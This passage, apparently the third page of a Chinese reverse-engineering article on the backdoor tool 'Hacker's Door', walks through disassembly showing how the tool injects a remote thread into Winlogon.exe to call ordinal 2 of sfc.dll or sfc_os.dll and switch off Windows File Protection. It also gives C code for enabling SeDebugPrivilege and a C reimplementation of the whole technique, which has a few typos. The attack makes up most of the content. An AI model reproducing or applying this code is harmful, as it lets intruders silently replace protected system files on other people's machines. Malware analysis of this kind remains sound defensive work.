|
上面的函数用来得到Winlogon.exe进程的ID,以便下面打开它注入代码:
.data:1000BCDB push eax ; dwProcessId .data:1000BCDC push 0 ; bInheritHandle .data:1000BCDE push 1F0FFFh ; dwDesiredAccess .data:1000BCE3 call OpenProcess ;打开目标进程 .data:1000BCE9 mov ebx, eax .data:1000BCEB test ebx, ebx .data:1000BCED jnz short loc_1000BD25
上面的汇编代码段是调用OpenProcess()函数打开Winlogon.exe进程。继续观察反汇编代码,发现下面的一段:
.data:1000BD25 mov ecx, edi .data:1000BD27 call LoadSFCDLL .data:1000BD2C mov esi, eax .data:1000BD2E test esi, esi .data:1000BD30 jnz short loc_1000BD6F .data:1000BD6F push 2 ;函数序号为2 .data:1000BD71 push esi ;SFC.dll的 hModule .data:1000BD72 call GetProcAddress ;得到SFC.dll中序数为2 的函数的地址 .data:1000BD78 test eax, eax .data:1000BD7A mov [edi+10h], eax .data:1000BD7D jnz short loc_1000BDC3
可以发现上面的汇编代码用来得到以前装载的Sfc.dll(或Sfc_os.dll)中的序数为2的函数的地址。接着程序跳转到了Loc_1000BDC3,继续跟踪反汇编代码,发现以下一段:
.data:1000BDC3 push eax ; 刚才得到的SFC.dll中函数的地址 .data:1000BDC4 push ebx ; Winlogon.exe进程的句柄 .data:1000BDC5 mov ecx, edi .data:1000BDC7 call sub_1000BBF0注意这里调用函数 sub_1000BBF0 .data:1000BDCC push esi ; hLibModule .data:1000BDCD mov edi, eax .data:1000BDCF call FreeLibrary .data:1000BDD5 test edi, edi .data:1000BDD7 push ebx ; hObject 跟进Sub_1000BBF0函数,Sub_1000BBF0函数: 入口参数:进程句柄、线程开始地址 .data:1000BBF0 sub_1000BBF0 proc near ; CODE XREF: sub_1000BC70+157 p .data:1000BBF0 .data:1000BBF0 ThreadId = dword ptr -1 .data:1000BBF0 hProcess = dword ptr 7 .data:1000BBF0 lpStartAddress = dword ptr 0Bh .data:1000BBF0 .data:1000BBF0 push ecx .data:1000BBF1 mov ecx, [esp+1+lpStartAddress] .data:1000BBF5 mov edx, [esp+1+hProcess] .data:1000BBF9 lea eax, [esp+1+ThreadId] .data:1000BBFD push esi .data:1000BBFE push eax ; lpThreadId .data:1000BBFF push 0 ; dwCreationFlags .data:1000BC01 push 0 ; lpParameter .data:1000BC03 push ecx ; SFC.dll中第二个函数的函数地址 .data:1000BC04 push 0 ; dwStackSize .data:1000BC06 push 0 ; lpThreadAttributes .data:1000BC08 push edx ; 以前打开的winlogon.exe进程的句柄 .data:1000BC09 mov [esp+21h+ThreadId], 0 .data:1000BC11 call CreateRemoteThread ;创建远线程 .data:1000BC17 mov esi, eax .data:1000BC19 test esi, esi ;ESI保存刚才新创建的线程的句柄 .data:1000BC1B jnz short loc_1000BC3F ―――――――――――――――――――――――――――――― .data:1000BC3F .data:1000BC3F loc_1000BC3F: ; CODE XREF: sub_1000BBF0+2B j .data:1000BC3F push 0FA0h ; dwMilliseconds .data:1000BC44 push esi ; 新创建的线程的句柄 .data:1000BC45 call WaitForSingleObject ;等待远程线程的结束 .data:1000BC4B test eax, eax .data:1000BC4D jz short loc_1000BC5D ―――――――――――――――――――――――――――――――――― .data:1000BC5D .data:1000BC5D loc_1000BC5D: ; CODE XREF: sub_1000BBF0+5D j .data:1000BC5D push esi ; hObject .data:1000BC5E call CloseHandle .data:1000BC64 mov eax, [esp+5+ThreadId] .data:1000BC68 pop esi .data:1000BC69 pop ecx .data:1000BC6A retn 8 .data:1000BC6A sub_1000BBF0 endp
上面的子函数功能很简单,就是在刚刚打开的Winlogon.exe进程中创建新的线程,新线程调用SFC.dll中的序号为2的输出函数,这样便关掉了系统文件的自我保护。
事实上,根据Bgate的《在Win 2000/XP上安静地替换正在使用的系统文件》这篇文章的解释,在Windows 2000(XP)系统下,执行系统文件保护的代码在Sfc.dll(XP在Sfc_os.dll)中,这个Dll由Winlogon.exe调用。 Winlogon.exe主要调用Sfc.dll中的两个函数实现系统文件文件保护。Winlogon.exe调用Sfc.dll中的一个输出函数在系统启动的时候创建了一系列事件,Winlogon.exe结束时调用另外一个函数关闭上面的一系列事件,这样就关闭了系统保护文件功能。那这样我们只需要向 Winlogon.exe中注入代码调用“第二个”函数,就能取消文件保护功能了,“黑客之门”采用的也正是这样的方法。
这里需要注意的是,要把进程注入到Winlogon.exe中,需要提升自身的权限到Debug权限。
HANDLE hToken; LUID DebugNameValue; TOKEN_PRIVILEGES Privileges; DWORD dwRet;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken); LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue); Privileges.PrivilegeCount=1; Privileges.Privileges[0].Luid=DebugNameValue; Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges), NULL,&dwRet); CloseHandle(hToken);
上面整个关闭系统文件保护功能的实现用C语言写下来如下所示:
/*得到进程的ID,具体的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/ DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”); HANDLE Process=OpenProcess(,FALSE,dwPid); DWORD dwVersion; HMODULE hSfc; dwVersion = GetVersion(); //判断操作系统的类型 if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5) { // Windows 2000/XP if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0) //Windows 2000 hSfc = LoadLibrary("sfc.dll"); else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP hSfc = LoadLibrary("sfc_os.dll"); } //得到函数的地址 FARPROC dwAddress=GerProcAddress(hSfc, MAKEINTRESOURCE(2)); DWORD dwThreadId; HANDLE hThread; //创建远线程 hThread =CreateRemoteThread(hProcess,0,0, / (DWORD (__stdcall *) (void *)) dwAddress,0,0,&dwThreadId); WaitForSingleObject(hThread,0x0FA0);
结束语
大概分析完了,刚开始拿到黑客之门的时候,还在想,它到底是怎样感染正在运行的系统文件的呢?原来以为是修改进程的句柄指向的进程的操作掩码完成的,为此我还翻阅了好多文档。结果通过对程序的反汇编学习,渐渐的发现黑客之门的程序编制的技巧。这里也要感谢“黑客之门”的作者,没有给它加壳,能让我们有幸能一睹优秀黑客工具的容颜!
上一页 [1] [2] [3] |